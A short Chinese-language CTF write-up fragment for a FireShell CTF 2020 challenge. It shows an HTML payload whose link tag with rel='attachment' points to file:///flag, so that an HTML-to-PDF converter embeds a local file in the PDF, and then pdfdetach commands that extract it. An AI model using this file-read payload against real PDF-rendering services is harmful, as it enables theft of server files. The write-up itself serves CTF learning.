题目复现链接：https://buuoj.cn/challenges
参考链接：FireShell CTF 2020 Writeup
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>
然后用pdfdetach分离
pdfdetach -list e61d3ac1d3f51b7f0281203867cfbe49.pdf
pdfdetach -save 1 e61d3ac1d3f51b7f0281203867cfbe49.pdf